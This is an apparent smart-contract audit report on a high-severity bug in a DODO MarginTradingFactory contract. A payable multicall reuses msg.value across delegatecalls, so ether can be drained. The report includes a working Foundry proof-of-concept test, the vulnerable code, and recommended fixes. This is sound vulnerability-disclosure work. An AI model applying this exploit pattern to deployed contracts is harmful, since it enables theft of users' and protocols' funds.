0xHati

high

# Any ether in MarginTradingFactory can be drained by attacker

## Summary
Any ether in the `marginTradingFactory` can be drained by an attacker by using `multicall`. The contract has a `receive` function and a `cleanETH` function to withdraw ether to the contract owner. However by using `multicall` anyone can get the ether from the contract.

## Vulnerability Detail
The `marginTradingFactory` contract has a function `multicall` which lets the user execute multiple actions on the factory contract. One of the functions is to deposit ether in his `marginTrading` account: `depositMarginTradingETH`. This is a payable function which accepts ether, converts it to weth and deposits it into a `marginTrading` contract. 

The attacker can call the `multicall` function and send whatever amount he choses where the attacker can call `depositMarginTradingETH` multiple times until the contract doesn't have any ether left,  `msg.value` persists during `delegatecall` so he can deposit and subsequently withdraw for free.

### POC
```solidity
function testAbuseMulticall() public {
        //setup margin account for the user
        openMarginTradingDAI(user1);
        address marginTradingAddress = marginTradingFactory.getCreateMarginTradingAddress(0, 2, user1);
        setLendingPoolToken(MockERC20(address(weth)), dai);
        
        //setup initial balances
        vm.deal(user1, 10 ether);
        vm.deal(address(marginTradingFactory), 10 ether);

        //function to call with multicall
        bytes memory functionCall = abi.encodeWithSignature(
            "depositMarginTradingETH(address,bool,uint8)",
            marginTradingAddress,
            true,
            uint8(2)
        );

        vm.startPrank(user1);

        bytes[] memory data = new bytes[](2);
        data[0] = functionCall;
        data[1] = functionCall;
        //call multicall and deposit twice
        marginTradingFactory.multicall{value: 10 ether}(data);
        //withdraw all funds from the marginTrading account
        IMarginTrading(marginTradingAddress).withdrawETH(true, 20 ether, uint8(1));
        vm.stopPrank();

        assertEq(address(user1).balance, 20 ether);
    }

```

## Impact
Any ether in the contract can be stolen by an attacker.

## Code Snippet
[Link to code snippet](https://github.com/sherlock-audit/2023-05-dodo/blob/main/dodo-margin-trading-contracts/contracts/marginTrading/MarginTradingFactory.sol#L74)
```solidity
function multicall(bytes[] calldata data) public payable returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            (bool success, bytes memory result) = address(this).delegatecall(data[i]);

            if (!success) {
                assembly {
                    revert(add(result, 32), mload(result))
                }
            }

            results[i] = result;
        }
    }
```
```solidity
function depositMarginTradingETH(address _marginTradingAddress, bool _margin, uint8 _flag) public payable {
        require(IMarginTrading(_marginTradingAddress).user() == msg.sender, "factory:caller is not the user");
        WETH.deposit{value: msg.value}();
        WETH.transfer(_marginTradingAddress, msg.value);
        if (_margin) {
            IMarginTrading(_marginTradingAddress).lendingPoolDeposit(address(WETH), msg.value, _flag);
        }
        emit DepositMarginTradingETH(_marginTradingAddress, msg.value, _margin, _flag);
    }
```

## Tool used

Manual Review

## Recommendation
It is not clear to me why the factory contract has a `receive` function nor why it has a `cleanETH` function. If there is no real need for the factory to hold ether, the best way forward would be by removing the `receive` and `cleanETH` function. 

If there would be a reason to keep those functions, I suggest removing the payable modifier from `multicall`.